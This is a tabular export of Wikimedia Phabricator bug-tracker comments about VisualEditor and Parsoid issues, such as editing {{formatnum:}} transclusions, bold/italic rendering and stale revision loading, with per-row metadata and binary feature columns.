+2269276,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","Is there any way to put this on the agenda? This bug is already 10 years old. In the Norwegian Bokmål Wikipedia, we use `{{formatnum:}}` even in normal text in articles, and like Danmichaelo said above, the only way to edit such numbers in Visual Editor is to delete the number and insert the new number (and then it won't have the proper formatting).",,,1706714108,,PHID-USER-jqjb54lbf7psat6shbcc,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,False,,,552,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+1568872,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","Related: {T204370} and {T204371}, although VE would probably still have to know enough to translate the 'old style' syntax into the newer uniform syntax.",,,1598465114,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,True,,,373,,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0
+884671,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})",">>! In T51954#3388374, @Danmichaelo wrote:
+> Was hit by this limitation when I was editing an article now. Couldn't find any way to edit the number except to delete it, so I changed the title to reflect that.
+
+Thanks for the input, but please don't make bugs less general. You can add further examples of how they affect you, but that should be as a comment or in the description, not removing other things that are already covered by this task. For instance, this also applies to the `#dateformat`, `lc`, and `int` transclusion objects.",,,1498746227,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,True,,,208,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+884165,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","Was hit by this limitation when I was editing an article now. Couldn't find any way to edit the number except to delete it, so I changed the title to reflect that.",,,1498680522,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,False,,,208,,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+235790,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","""{{formatnum:…}} is not a template"" - true
+
+For this, Parsoid takes wikitext like:
+
+  This was {{formatnum:1234567890}} years ago.
+
+… and gives us HTML of:
+
+<p data-parsoid=""…"">This was <span about=""#mwt1"" typeof=""mw:Transclusion"" data-mw=""{'target':{'wt':'formatnum:1234567890','function':'formatnum'}"" data-parsoid=""…"">1,234,567,890</span> years ago.</p>
+
+… so maybe we'd want to special-case on 'function':'formatnum' so that they're easier to edit?",,,1371827641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,0,1,0,1
+51951,"Window title for ""Creating"" should support parser functions","The browser window title is changed to ""Parse error at position 0 in input {{""}}{{{1|$1}}}{{""}}"" when editing an article with the VisualEditor on dewp. Reproducible in many articles and at least Firefox and Chromium.
+",Medium,50.0,1371806460,1428960831.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_description,declined,True,c1,2,True,False,False,-2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0
+443120,"Window title for ""Creating"" should support parser functions","(If they're wontfix, then let's decline them.)",,,1428960831,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0
+442066,"Window title for ""Creating"" should support parser functions","This and T95711 are wontfix. These localisation messages should not use parser functions. This was never intentionally supported and whatever localisation needs exist in German that need this should be filed as a separate task against MediaWiki core to find a way to support that.
+
+Complex parser functions will not be supported in this interface message. ",,,1428691205,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,92,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+441979,"Window title for ""Creating"" should support parser functions","(No ""Parse error at position 0"" since T54479 was fixed.)",,,1428685485,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,92,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+441974,"Window title for ""Creating"" should support parser functions","This is still a problem, currently only visible when creating a new page because https://de.wikipedia.org/w/index.php?title=MediaWiki:Editing&action=edit no longer has the templates, but https://de.wikipedia.org/w/index.php?title=MediaWiki:Creating&action=edit still does. T95711 is the same bug for MediaWiki's live preview feature.",,,1428685233,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,92,,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0
+235683,"Window title for ""Creating"" should support parser functions","This is still an issue. I've restored MediaWiki:Editing on testwiki for demonstration purposes.
+
+Krinkle has stated ""Don't use wikitext in this message"" (MediaWiki:Editing), but he didn't give a reason. Since parser functions, etc. work fine in this message in MediaWiki core, I think we should expect VE to handle them too, or else it should use a different message that specifically does not support fancy stuff.",,,1393633921,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+235680,"Window title for ""Creating"" should support parser functions",This seems solved now on dewp. Good to close from my side.,,,1372530530,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235677,"Window title for ""Creating"" should support parser functions","This seems to be caused by the templates in [[de:MediaWiki:Editing]]. 
+
+Can be seen on testwiki as well, where parser functions are the cause ([[testwiki:MediaWiki:Editing]]).",,,1371813154,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+51943,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","Steps to reproduce:
+1. open article in browser window
+2. open same article in another browser window, edit, save changes
+3. edit with VE in first window
+
+Expected result: VE show some sort of warning, and loads the newest version of the article (or maybe refuses to edit it at all).
+
+Actual result: VE happily edits the old revision, and shows [[MediaWiki:Editingold]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371799440,1373334098.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-uebopddiz3ehqfkg326y,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1
+235288,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise.",,,1373328441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uebopddiz3ehqfkg326y,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+235278,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","Change 72070 merged by jenkins-bot:
+mw.ViewPageTarget: Fix incorrect retention of the wrong oldid
+
+https://gerrit.wikimedia.org/r/72070",,,1373325381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uebopddiz3ehqfkg326y,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235270,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","Change 72070 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Fix incorrect retention of the wrong oldid
+
+https://gerrit.wikimedia.org/r/72070",,,1373300386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uebopddiz3ehqfkg326y,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51926,Parsoid not correctly rendering bold/italic text,"See, for example, the lead of https://en.wikipedia.org/wiki/Flaming_Pie in the VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371789600,1377546664.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gk2mpik33dhlthfx6ji5,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233872,Parsoid not correctly rendering bold/italic text,"Verified that [[Flaming Pie]], [[Dictionary]], [[Moon]], [[Metallica_(album)]], and [[User:Kww/italictest3]] are rendered correctly in the deployed Parsoid/Visual Editor. Closing as fixed.",,,1377546664,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+233866,Parsoid not correctly rendering bold/italic text,"Change 79925 merged by jenkins-bot:
+Tweak QuoteTransformer to more closely match PHP doQuotes.
+
+https://gerrit.wikimedia.org/r/79925",,,1377035685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+233862,Parsoid not correctly rendering bold/italic text,"Change 79925 had a related patch set uploaded by Cscott:
+WIP: Tweak QuoteTransformer to more closely match PHP doQuotes.
+
+https://gerrit.wikimedia.org/r/79925",,,1376947589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+233858,Parsoid not correctly rendering bold/italic text,"Change 79343 merged by jenkins-bot:
+Add parserTests for the interaction of italics and possessives.
+
+https://gerrit.wikimedia.org/r/79343",,,1376675597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233853,Parsoid not correctly rendering bold/italic text,"Change 79343 had a related patch set uploaded by Cscott:
+Add parserTests for the interaction of italics and possessives.
+
+https://gerrit.wikimedia.org/r/79343",,,1376671455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233844,Parsoid not correctly rendering bold/italic text,*** Bug 52254 has been marked as a duplicate of this bug. ***,,,1376606358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+233838,Parsoid not correctly rendering bold/italic text,See also bug 47326.,,,1374604512,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+233833,Parsoid not correctly rendering bold/italic text,Just dropping this in for cross-referencing: bug 13227 (this bug made me remember that one).,,,1373766179,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+233826,Parsoid not correctly rendering bold/italic text,"Taking this one, on subbu's suggestion.",,,1373301911,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233819,Parsoid not correctly rendering bold/italic text,"This is still appearing, this time in https://en.wikipedia.org/w/index.php?title=Dictionary&oldid=563086179&veaction=edit - start at "" Sebastián Covarrubias""",,,1373281341,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+51924,VisualEditor: Refactor dialog to not need hardcoded padding for each subclass,"e.g. I don't want to see this:
+
+.ve-ui-mwReferenceDialog-body {
+  padding: 2em;
+}
+
+and have to apply that to each dialog that doesn't have panels.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371780960,1530904214.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-6j7kkh226srwx4yd3xob,task_description,declined,True,c1,2,True,True,False,-2,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+1099386,VisualEditor: Refactor dialog to not need hardcoded padding for each subclass,Closing vague idea from past me. Looks like this may've been an issue in what's now become OOUI.,,,1530904214,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6j7kkh226srwx4yd3xob,task_subcomment,,True,c1,3,True,,,261,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+51923,"VisualEditor: Rename internal use of ""Reference list"" to ""References list""","
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371780900,1408586995.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pg2baotfmhrts6ap3fmf,task_description,resolved,True,c1,2,True,False,False,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233594,"VisualEditor: Rename internal use of ""Reference list"" to ""References list""","Change 155091 merged by jenkins-bot:
+Rename ""reference list"" to ""references list"" internally
+
+https://gerrit.wikimedia.org/r/155091",,,1408584637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pg2baotfmhrts6ap3fmf,task_subcomment,,True,c1,3,False,,,59,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+233590,"VisualEditor: Rename internal use of ""Reference list"" to ""References list""","Change 155091 had a related patch set uploaded by Jforrester:
+Rename ""reference list"" to ""references list"" internally
+
+https://gerrit.wikimedia.org/r/155091",,,1408473225,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pg2baotfmhrts6ap3fmf,task_subcomment,,True,c1,3,False,,,59,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+51906,monitor mediawiki extensions superproject misconfiguration,"The beta cluster rely on the super project mediawiki/extensions.git to deploy extensions automatically.  Sometime an extension would be misconfigured, a recent example is VisualEditor which got stuck for a few weeks to an old version (bug 49846).
+
+It would be nice to run a SQL query daily that would mail gerritadmin about any misconfiguration.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1371759600,1389653066.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-io6oush42k3uezzajdmy,task_description,declined,True,c1,2,True,False,False,-2,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+232687,monitor mediawiki extensions superproject misconfiguration,"I have filled that bug to monitor mediawiki/extensions.git being badly configured (for bug 49846).  Instead of using Gerrit maintained mediawiki/extensions.git, I will write a script that list all extensions, register them on beta and then do the submodule update.",,,1389653066,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+232684,monitor mediawiki extensions superproject misconfiguration,"(In reply to comment #6)
+> So now ""all"" that is needed is to have this in a cronjob that mails the
+> output to...?
+
+I have no clue where it could be send. Nor do I have any idea where such a script should be run.
+
+Possibly, we could run it once a few times per day as a Jenkins job and make that job alert back on IRC and/or to the Gerrit admin mail alias.",,,1385157948,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,True,,,20,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+232681,monitor mediawiki extensions superproject misconfiguration,"(In reply to comment #7)
+> Greg: Was that a question to hashar?
+
+Yeah, rhetorical mostly, but he's the one that can answer it ;)",,,1385137357,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+232676,monitor mediawiki extensions superproject misconfiguration,Greg: Was that a question to hashar?,,,1385134227,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
